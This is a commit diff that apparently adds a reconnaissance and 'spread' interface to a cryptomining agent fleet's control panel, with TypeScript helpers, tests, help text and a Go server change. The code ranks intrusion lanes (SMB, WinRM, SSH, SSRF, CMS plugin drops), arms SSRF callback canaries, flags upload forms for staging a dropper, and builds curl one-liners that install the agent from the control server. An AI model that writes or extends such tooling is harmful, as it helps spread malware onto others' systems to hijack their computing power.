Deploy Recon UI: consume new recon APIs with streaming results and action matrix
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -4,7 +4,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
||||
|
||||
## No open code issues
|
||||
|
||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1001**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
|
||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **1007**, agent **680**, Vitest **867**, Playwright **32** — see `tests/README.md`.
|
||||
|
||||
## By design / safety
|
||||
|
||||
@@ -24,6 +24,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
|
||||
|------|-------|
|
||||
| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column - hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
|
||||
| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20 (`SyscheckSubnetScanCap`); spread sem=16 (`SpreadConcurrencyCap`). Fleet discovery is incremental (ARP + capped sweep), not full /16. |
|
||||
| **Subnet discovery server store** | `subnet_discoveries` SQLite table; agent WS `subnet_recon_report` ingest; dashboard `GET /api/v1/recon/discovered-hosts` + `subnet_discovery_update` broadcast. Agent auth marks matching IP `agent_online`. Covered by `-SubnetRecon` api/db gates. |
|
||||
| **`stats_batch` WS** | Server coalesces stats every 250ms (`StatsBatchCoalesceInterval`) into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
|
||||
| **Hashrate samples** | One `INSERT` per agent stats tick - dominant DB write at scale. Automated purge via `StartRetentionJobs` (default 168h, `stats_retention_hours`). |
|
||||
| **Stale-agent sweep** | Every 45s (`StaleAgentSweepInterval`) queries `status='online' AND last_seen < cutoff` (`ListStaleOnlineAgents`, composite index) - not a full-table scan. Still O(stale-online) broadcasts per sweep. |
|
||||
|
||||
@@ -257,6 +257,10 @@ if ($SubnetRecon) {
|
||||
go test ./client/... ./config/... -run SubnetRecon -count=1
|
||||
go test ./deploy/... -run SubnetRecon -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... -run Subnet -count=1
|
||||
go test ./internal/db/... -run Subnet -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/fleetDiscoveries.test.ts
|
||||
|
||||
@@ -695,6 +695,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
IP string `json:"ip,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -821,6 +822,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
|
||||
clientIP = clientIP[:idx]
|
||||
}
|
||||
if authIP := strings.TrimSpace(auth.IP); authIP != "" {
|
||||
clientIP = authIP
|
||||
}
|
||||
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
@@ -121,8 +121,7 @@ export const StreamingPortMatrix = memo(function StreamingPortMatrix({
|
||||
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
||||
}}
|
||||
>
|
||||
{p.port}
|
||||
{p.open ? ' ●' : ' ○'}
|
||||
{p.port}{p.open ? ' *' : ''}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
@@ -381,3 +380,4 @@ export function useDeployReconDerived(report: ReconScanReport | null, deckOrigin
|
||||
}, [report, deckOrigin]);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildActionMatrix,
|
||||
buildReconFindingCards,
|
||||
buildReconMermaid,
|
||||
buildSsrfCanaryUrl,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
isLocalScanUnreachableError,
|
||||
reconScanBody,
|
||||
ssrfConfidence,
|
||||
} from './deployRecon';
|
||||
@@ -26,9 +29,41 @@ describe('deployRecon helpers', () => {
|
||||
port: 443,
|
||||
scheme: 'https',
|
||||
paths: ['/admin'],
|
||||
profile: 'quick',
|
||||
});
|
||||
});
|
||||
|
||||
it('maps scan form with profile and port bundle', () => {
|
||||
const body = reconScanBody('10.0.0.1', 80, false, '', 'deep', 'web');
|
||||
expect(body.profile).toBe('deep');
|
||||
expect(body.profiles).toEqual(['web']);
|
||||
});
|
||||
|
||||
it('arms ssrf canary for ssrf_only profile', () => {
|
||||
const body = reconScanBody('h', 80, false, '', 'ssrf_only');
|
||||
expect(body.ssrf_canary).toBe(true);
|
||||
});
|
||||
|
||||
it('builds HTTPS canary ping URL', () => {
|
||||
const url = buildSsrfCanaryUrl('http://deck.example', 'scan-1');
|
||||
expect(url).toBe('https://deck.example/recon/ping/scan-1');
|
||||
});
|
||||
|
||||
it('detects unreachable scan errors', () => {
|
||||
expect(isLocalScanUnreachableError('dial tcp: i/o timeout')).toBe(true);
|
||||
expect(isLocalScanUnreachableError('permission denied')).toBe(false);
|
||||
});
|
||||
|
||||
it('builds action matrix from recommendations', () => {
|
||||
const report = {
|
||||
host: 'x',
|
||||
scanned_at: 't',
|
||||
ports: [],
|
||||
recommendations: [{ lane: 'winrm', reason: 'open', priority: 10 }],
|
||||
} as ReconScanReport;
|
||||
expect(buildActionMatrix(report)[0].lane).toBe('winrm');
|
||||
});
|
||||
|
||||
it('builds curl one-liner with pinned build', () => {
|
||||
const line = curlInstallLine('https://deck.example', 'build-abc');
|
||||
expect(line).toContain('curl -sL');
|
||||
@@ -65,4 +100,21 @@ describe('deployRecon helpers', () => {
|
||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||
});
|
||||
|
||||
it('prefers canary URL in SSRF finding card', () => {
|
||||
const report: ReconScanReport = {
|
||||
host: 'lab.local',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [],
|
||||
canary: {
|
||||
scan_id: 's1',
|
||||
url: 'https://deck.example/recon/ping/s1',
|
||||
status: 'pending',
|
||||
paste_target: 'https://deck.example/recon/ping/s1',
|
||||
},
|
||||
crawl: { pages_fetched: 1, ssrf_score: 10, url_fields: [] },
|
||||
};
|
||||
const cards = buildReconFindingCards(report, 'https://deck.example');
|
||||
expect(cards.find((c) => c.kind === 'ssrf')?.probe_url).toBe('https://deck.example/recon/ping/s1');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
import { shOneliner, pinQuery } from './emberwake';
|
||||
import { combinedDropperQuery, shOneliner } from './emberwake';
|
||||
import { SPREAD_TECHNIQUES_DOC } from './spreadTechniques';
|
||||
import type {
|
||||
ReconAdminSurfaceFinding,
|
||||
ReconConfidence,
|
||||
ReconCrawlReport,
|
||||
ReconPortResult,
|
||||
ReconScanProfile,
|
||||
ReconScanReport,
|
||||
ReconScanRequest,
|
||||
ReconWebFindingCard,
|
||||
} from '../types/recon';
|
||||
|
||||
@@ -21,20 +25,250 @@ export const RECON_PORT_HINTS: Record<number, string> = {
|
||||
|
||||
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
|
||||
|
||||
export type ScanProfileId = ReconScanProfile;
|
||||
|
||||
export const SCAN_PROFILES: Record<
|
||||
ScanProfileId,
|
||||
{ label: string; detail: string; ssrfCanaryDefault?: boolean }
|
||||
> = {
|
||||
quick: {
|
||||
label: 'Quick',
|
||||
detail: 'Top fleet TCP ports plus a shallow crawl (1 page).',
|
||||
},
|
||||
deep: {
|
||||
label: 'Deep',
|
||||
detail: 'Full fleet port matrix, banners, and multi-page crawl.',
|
||||
},
|
||||
ssrf_only: {
|
||||
label: 'SSRF only',
|
||||
detail: 'Skip port dial; deep crawl for URL-like form fields.',
|
||||
ssrfCanaryDefault: true,
|
||||
},
|
||||
};
|
||||
|
||||
export type PortBundleId = 'fleet' | 'web' | 'windows' | 'linux' | 'cloud_metadata';
|
||||
|
||||
export const PORT_BUNDLES: Record<PortBundleId, { label: string; profiles: string[] }> = {
|
||||
fleet: { label: 'Fleet default', profiles: [] },
|
||||
web: { label: 'Web surface', profiles: ['web'] },
|
||||
windows: { label: 'Windows spread', profiles: ['windows'] },
|
||||
linux: { label: 'Linux / SSH', profiles: ['linux'] },
|
||||
cloud_metadata: { label: 'Cloud metadata', profiles: ['cloud_metadata'] },
|
||||
};
|
||||
|
||||
export function reconScanBody(
|
||||
host: string,
|
||||
port: number,
|
||||
https: boolean,
|
||||
pathPrefix: string,
|
||||
): { host: string; port: number; scheme: string; paths?: string[] } {
|
||||
profile: ScanProfileId = 'quick',
|
||||
portBundle: PortBundleId = 'fleet',
|
||||
ssrfCanary = false,
|
||||
): ReconScanRequest {
|
||||
const prefix = pathPrefix.trim();
|
||||
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
|
||||
return {
|
||||
const bundle = PORT_BUNDLES[portBundle] ?? PORT_BUNDLES.fleet;
|
||||
const body: ReconScanRequest = {
|
||||
host: host.trim(),
|
||||
port: port > 0 ? port : 80,
|
||||
scheme: https ? 'https' : 'http',
|
||||
paths,
|
||||
profile,
|
||||
};
|
||||
if (bundle.profiles.length > 0) {
|
||||
body.profiles = bundle.profiles;
|
||||
}
|
||||
if (ssrfCanary || SCAN_PROFILES[profile]?.ssrfCanaryDefault) {
|
||||
body.ssrf_canary = true;
|
||||
}
|
||||
return body;
|
||||
}
|
||||
|
||||
const UNREACHABLE_PATTERNS = [
|
||||
'no route to host',
|
||||
'connection refused',
|
||||
'connection timed out',
|
||||
'i/o timeout',
|
||||
'network is unreachable',
|
||||
'host unreachable',
|
||||
'dial tcp',
|
||||
'context deadline exceeded',
|
||||
];
|
||||
|
||||
export function isLocalScanUnreachableError(message: string): boolean {
|
||||
const lower = message.toLowerCase();
|
||||
return UNREACHABLE_PATTERNS.some((p) => lower.includes(p));
|
||||
}
|
||||
|
||||
export function ssrfCanaryToken(scanId: string): string {
|
||||
return scanId.trim();
|
||||
}
|
||||
|
||||
export function buildSsrfCanaryUrl(deckOrigin: string, scanId: string): string {
|
||||
let base = deckOrigin.trim().replace(/\/$/, '');
|
||||
if (!base) base = 'https://localhost';
|
||||
if (base.startsWith('http://')) base = `https://${base.slice('http://'.length)}`;
|
||||
else if (!base.startsWith('https://')) base = `https://${base}`;
|
||||
try {
|
||||
const u = new URL(base);
|
||||
u.protocol = 'https:';
|
||||
u.pathname = `/recon/ping/${encodeURIComponent(scanId.trim())}`;
|
||||
u.search = '';
|
||||
u.hash = '';
|
||||
return u.toString();
|
||||
} catch {
|
||||
return `https://localhost/recon/ping/${encodeURIComponent(scanId.trim())}`;
|
||||
}
|
||||
}
|
||||
|
||||
export interface ReconFormFingerprintCard {
|
||||
id: string;
|
||||
page_url: string;
|
||||
name: string;
|
||||
score: number;
|
||||
matches: string[];
|
||||
paste_target: string;
|
||||
}
|
||||
|
||||
export function buildFormFingerprintCards(report: ReconScanReport, deckOrigin: string): ReconFormFingerprintCard[] {
|
||||
const crawl = report.crawl;
|
||||
if (!crawl?.fingerprint_fields?.length) return [];
|
||||
const fallback = report.canary?.url
|
||||
?? (report.scan_id ? buildSsrfCanaryUrl(deckOrigin, report.scan_id) : `${deckOrigin.replace(/\/$/, '')}/get`);
|
||||
return crawl.fingerprint_fields.map((f, i) => ({
|
||||
id: `fp-${i}-${f.name}`,
|
||||
page_url: f.page_url,
|
||||
name: f.name,
|
||||
score: f.score,
|
||||
matches: f.matches ?? [],
|
||||
paste_target: f.paste_target?.trim() || fallback,
|
||||
}));
|
||||
}
|
||||
|
||||
export type AdminSurfaceMapRow = ReconAdminSurfaceFinding;
|
||||
|
||||
export function buildAdminSurfaceMap(report: ReconScanReport): AdminSurfaceMapRow[] {
|
||||
return report.admin_surface ?? [];
|
||||
}
|
||||
|
||||
export function buildTechStackHints(report: ReconScanReport) {
|
||||
const seen = new Set<string>();
|
||||
const out: import('../types/recon').ReconStackEntry[] = [];
|
||||
for (const e of [...(report.stack ?? []), ...(report.crawl?.stack ?? [])]) {
|
||||
const key = `${e.name}|${e.source}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push(e);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export interface ReconActionRow {
|
||||
id: string;
|
||||
lane: string;
|
||||
title: string;
|
||||
reason: string;
|
||||
actions: string[];
|
||||
}
|
||||
|
||||
export function buildActionMatrix(report: ReconScanReport): ReconActionRow[] {
|
||||
const rows: ReconActionRow[] = [];
|
||||
const recs = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority);
|
||||
for (const r of recs) {
|
||||
const lane = (r.lane || r.template || 'spread').trim();
|
||||
rows.push({
|
||||
id: `rec-${lane}`,
|
||||
lane,
|
||||
title: lane,
|
||||
reason: r.reason,
|
||||
actions: ['playbook', 'crucible', 'copy_curl'],
|
||||
});
|
||||
}
|
||||
for (const p of report.ports) {
|
||||
if (!p.open) continue;
|
||||
const hint = RECON_PORT_HINTS[p.port];
|
||||
if (!hint) continue;
|
||||
const lane = portLane(p.port);
|
||||
if (rows.some((x) => x.lane === lane)) continue;
|
||||
rows.push({
|
||||
id: `port-${p.port}`,
|
||||
lane,
|
||||
title: `TCP ${p.port}`,
|
||||
reason: hint,
|
||||
actions: ['playbook', 'crucible'],
|
||||
});
|
||||
}
|
||||
if (report.crawl?.ssrf_score && !rows.some((x) => x.lane === 'ssrf')) {
|
||||
rows.push({
|
||||
id: 'ssrf-crawl',
|
||||
lane: 'ssrf',
|
||||
title: 'SSRF crawl',
|
||||
reason: `SSRF score ${report.crawl.ssrf_score} from URL-like inputs.`,
|
||||
actions: ['playbook', 'copy_probe'],
|
||||
});
|
||||
}
|
||||
return rows;
|
||||
}
|
||||
|
||||
function portLane(port: number): string {
|
||||
if (port === 22) return 'linux-lotl';
|
||||
if (port === 445) return 'smb';
|
||||
if (port === 5985 || port === 5986) return 'winrm';
|
||||
if (port === 80 || port === 443 || port === 8080 || port === 8443) return 'bits_curl';
|
||||
return `tcp-${port}`;
|
||||
}
|
||||
|
||||
export interface PlaybookTreeNode {
|
||||
id: string;
|
||||
label: string;
|
||||
href?: string;
|
||||
children?: PlaybookTreeNode[];
|
||||
}
|
||||
|
||||
export function buildPlaybookTree(report: ReconScanReport): PlaybookTreeNode[] {
|
||||
const host = report.host.trim();
|
||||
const children: PlaybookTreeNode[] = [];
|
||||
for (const row of buildActionMatrix(report)) {
|
||||
children.push({
|
||||
id: row.lane,
|
||||
label: `${row.title} - ${row.reason}`,
|
||||
href: crucibleSpreadLink(host, row.lane),
|
||||
});
|
||||
}
|
||||
children.push({
|
||||
id: 'spread-doc',
|
||||
label: 'Spread techniques reference',
|
||||
href: SPREAD_TECHNIQUES_DOC,
|
||||
});
|
||||
return [{ id: 'root', label: host, children }];
|
||||
}
|
||||
|
||||
export async function* streamRevealPorts(
|
||||
ports: ReconPortResult[],
|
||||
chunkSize = 4,
|
||||
delayMs = 40,
|
||||
): AsyncGenerator<ReconPortResult[]> {
|
||||
const sorted = [...ports].sort((a, b) => a.port - b.port);
|
||||
let acc: ReconPortResult[] = [];
|
||||
for (let i = 0; i < sorted.length; i += 1) {
|
||||
acc = [...acc, sorted[i]];
|
||||
if (acc.length % chunkSize === 0 || i === sorted.length - 1) {
|
||||
yield acc;
|
||||
if (i < sorted.length - 1) {
|
||||
await new Promise((r) => setTimeout(r, delayMs));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function suggestDeployKitFinding(report: ReconScanReport): string {
|
||||
if (report.deploy_kit_lane?.trim()) return report.deploy_kit_lane.trim();
|
||||
const top = [...(report.recommendations ?? [])].sort((a, b) => b.priority - a.priority)[0];
|
||||
if (top?.lane) return top.lane;
|
||||
for (const p of report.ports) {
|
||||
if (p.open && FLEET_SPREAD_PORTS.has(p.port)) return portLane(p.port);
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
export function ssrfConfidence(score: number): ReconConfidence {
|
||||
@@ -43,27 +277,38 @@ export function ssrfConfidence(score: number): ReconConfidence {
|
||||
return 'low';
|
||||
}
|
||||
|
||||
function ssrfProbeUrl(report: ReconScanReport, deckOrigin: string, crawl: ReconCrawlReport): string {
|
||||
if (report.canary?.url) return report.canary.url;
|
||||
if (report.canary?.paste_target) return report.canary.paste_target;
|
||||
if (report.scan_id) return buildSsrfCanaryUrl(deckOrigin, report.scan_id);
|
||||
const field = crawl.url_fields?.[0];
|
||||
const drop = `${deckOrigin.replace(/\/$/, '')}/get`;
|
||||
if (!field) return drop;
|
||||
const sep = field.page_url.includes('?') ? '&' : '?';
|
||||
return `${field.page_url}${sep}${field.name}=${encodeURIComponent(drop)}`;
|
||||
}
|
||||
|
||||
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
|
||||
const crawl = report.crawl;
|
||||
const cards: ReconWebFindingCard[] = [];
|
||||
if (!crawl) return cards;
|
||||
|
||||
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
|
||||
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0 || report.canary) {
|
||||
const field = crawl.url_fields?.[0];
|
||||
const probe = field
|
||||
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
|
||||
: `${deckOrigin.replace(/\/$/, '')}/get`;
|
||||
const probe = ssrfProbeUrl(report, deckOrigin, crawl);
|
||||
cards.push({
|
||||
id: 'ssrf',
|
||||
kind: 'ssrf',
|
||||
title: 'SSRF candidate fields',
|
||||
detail: field
|
||||
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
|
||||
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
||||
confidence: ssrfConfidence(crawl.ssrf_score),
|
||||
title: report.canary ? 'SSRF canary armed' : 'SSRF candidate fields',
|
||||
detail: report.canary
|
||||
? `Paste canary URL into reflective fields; server confirms fetch at ${report.canary.status}.`
|
||||
: field
|
||||
? `Reflective field "${field.name}" on ${field.page_url} - paste probe URL into the form.`
|
||||
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
||||
confidence: ssrfConfidence(crawl.ssrf_score || (report.canary ? 40 : 0)),
|
||||
spread_lane: 'ssrf',
|
||||
probe_url: probe,
|
||||
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
|
||||
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[canary /get]',
|
||||
});
|
||||
}
|
||||
|
||||
@@ -74,7 +319,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
||||
id: 'upload',
|
||||
kind: 'file_upload',
|
||||
title: 'File upload surface',
|
||||
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
|
||||
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} - stage dropper when extension policy allows.`,
|
||||
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
|
||||
spread_lane: 'stage_fetch',
|
||||
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
|
||||
@@ -86,7 +331,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
||||
id: `cms-${cms}`,
|
||||
kind: 'cms',
|
||||
title: `${cms} CMS hint`,
|
||||
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
|
||||
detail: `HTML/path signatures match ${cms} - supply-chain plugin or theme drop may apply.`,
|
||||
confidence: cms === 'wordpress' ? 'high' : 'medium',
|
||||
spread_lane: cms,
|
||||
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
|
||||
@@ -98,7 +343,7 @@ export function buildReconFindingCards(report: ReconScanReport, deckOrigin: stri
|
||||
id: 'web-live',
|
||||
kind: 'info',
|
||||
title: 'Web surface live',
|
||||
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
|
||||
detail: `Crawled ${crawl.pages_fetched} page(s) - browser curl one-liner may work on owned hosts.`,
|
||||
confidence: 'low',
|
||||
spread_lane: 'bits_curl',
|
||||
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
|
||||
@@ -115,7 +360,7 @@ export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindi
|
||||
if (!p.open) continue;
|
||||
open++;
|
||||
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
|
||||
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
|
||||
lines.push(` target --> p${p.port}["${p.port} open - ${hint}"]`);
|
||||
}
|
||||
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
|
||||
cards.slice(0, 3).forEach((c, i) => {
|
||||
@@ -130,8 +375,8 @@ export function crucibleSpreadLink(host: string, finding?: string): string {
|
||||
return `/crucible?${q.toString()}`;
|
||||
}
|
||||
|
||||
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
|
||||
export function curlInstallLine(serverBase: string, pinnedBuildId: string, campaignSlug = ''): string {
|
||||
const base = serverBase.replace(/\/$/, '');
|
||||
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
|
||||
const q = combinedDropperQuery(pinnedBuildId, campaignSlug);
|
||||
return shOneliner(base, q);
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#calibrate',
|
||||
@@ -14,7 +14,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
sign_cert_thumbprint: '/docs/#forge',
|
||||
sign_timestamp_url: '/docs/#forge',
|
||||
|
||||
// Forge — core
|
||||
// Forge — core
|
||||
worker_name: '/docs/#forge',
|
||||
server_url: '/docs/#quick-start',
|
||||
wallet: '/docs/#mining',
|
||||
@@ -69,7 +69,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
sigil_scramble: '/docs/#forge',
|
||||
https_beacon_fallback: '/docs/#agent',
|
||||
|
||||
// Forge — spread & ops
|
||||
// Forge — spread & ops
|
||||
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
@@ -147,7 +147,19 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
crucible_full_audit: '/docs/#crucible-ops',
|
||||
dr_scan_profile: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_bundle: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_form_fingerprint: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_ssrf_canary: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_upload_admin_map: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_tech_stack: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_banner_grab: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_relay_scan: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_action_matrix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_playbook_wizard: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_history: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_export_json: '/docs/SPREAD_TECHNIQUES.html#browser', crucible_full_audit: '/docs/#crucible-ops',
|
||||
bm_pin_dropper: '/docs/#build-manager',
|
||||
bm_dropper_oneliner: '/docs/#build-manager',
|
||||
pt_path_tracer: '/docs/#path-tracer',
|
||||
@@ -176,3 +188,4 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
return DOC_ANCHORS[field];
|
||||
}
|
||||
|
||||
|
||||
@@ -119,6 +119,19 @@ describe('UI_HELP', () => {
|
||||
'dr_fleet_subnet_filter',
|
||||
'dr_fleet_port_filter',
|
||||
'dr_fleet_sort',
|
||||
'dr_export_json',
|
||||
'dr_history',
|
||||
'dr_playbook_wizard',
|
||||
'dr_action_matrix',
|
||||
'dr_relay_scan',
|
||||
'dr_banner_grab',
|
||||
'dr_deploy_kit',
|
||||
'dr_tech_stack',
|
||||
'dr_upload_admin_map',
|
||||
'dr_ssrf_canary',
|
||||
'dr_form_fingerprint',
|
||||
'dr_port_bundle',
|
||||
'dr_scan_profile',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -245,4 +245,30 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Show only hosts with a given TCP port open — e.g. 22 for SSH LOTL, 5985 for WinRM spread candidates.',
|
||||
dr_fleet_sort:
|
||||
'Order the table by last_seen (newest first by default) or IP. Live WS updates bump last_seen without reordering until you refresh sort.',
|
||||
dr_scan_profile:
|
||||
'Quick runs the default fleet port matrix and a shallow crawl. Deep adds banners, admin paths, and more pages. SSRF only skips port dial and arms the canary for reflective URL fields.',
|
||||
dr_port_bundle:
|
||||
'Optional port profile sent as profiles[] on POST /api/v1/recon/scan (web, windows, linux, cloud_metadata). Fleet default uses the server quick matrix.',
|
||||
dr_form_fingerprint:
|
||||
'High-scoring form fields from the crawl with suggested paste targets (SSRF canary URL or /get probe).',
|
||||
dr_ssrf_canary:
|
||||
'HTTPS callback URL on your control server (/recon/ping/{scan_id}). Poll status and listen for recon_canary_hit over the operator WebSocket.',
|
||||
dr_upload_admin_map:
|
||||
'Merged upload-hunter hits and probed admin/login paths with HTTP status and signal tags.',
|
||||
dr_tech_stack:
|
||||
'Stack hints from port banners and HTML crawl (framework, CMS, server headers).',
|
||||
dr_deploy_kit:
|
||||
'Suggested join lane for GET /api/v1/recon/deploy-kit on this host after scan (open ports + crawl signals).',
|
||||
dr_banner_grab:
|
||||
'Service banners and HTTP titles from open web ports during deep scans.',
|
||||
dr_relay_scan:
|
||||
'POST /api/v1/recon/relay-scan from a fleet seed on the target /24 when the control server cannot reach the host directly.',
|
||||
dr_action_matrix:
|
||||
'Ranked spread lanes from recommendations and open ports with quick links to playbook and Crucible spread tab.',
|
||||
dr_playbook_wizard:
|
||||
'Modal tree of recommended lanes for the current target with Crucible deep links.',
|
||||
dr_history:
|
||||
'Server and local scan history for the target host; click a row to reload that report in the UI.',
|
||||
dr_export_json:
|
||||
'Download the raw ReconScanReport JSON for ticketing or offline diff.',
|
||||
};
|
||||
|
||||
@@ -307,3 +307,192 @@
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.dr-scan-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
grid-column: 1 / -1;
|
||||
}
|
||||
|
||||
.dr-profile-row,
|
||||
.dr-bundle-row {
|
||||
grid-column: 1 / -1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
}
|
||||
|
||||
.dr-field-label {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.dr-chip-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
}
|
||||
|
||||
.dr-chip {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
padding: 0.35rem 0.65rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
color: var(--text-muted);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dr-chip.active {
|
||||
border-color: rgba(0, 232, 245, 0.5);
|
||||
background: rgba(0, 232, 245, 0.12);
|
||||
color: #9efcff;
|
||||
}
|
||||
|
||||
.dr-port-matrix-streaming .dr-port-cell.pending {
|
||||
opacity: 0.45;
|
||||
}
|
||||
|
||||
.dr-banner-panel,
|
||||
.dr-canary-panel {
|
||||
border: 1px solid rgba(255, 255, 255, 0.06);
|
||||
border-radius: 6px;
|
||||
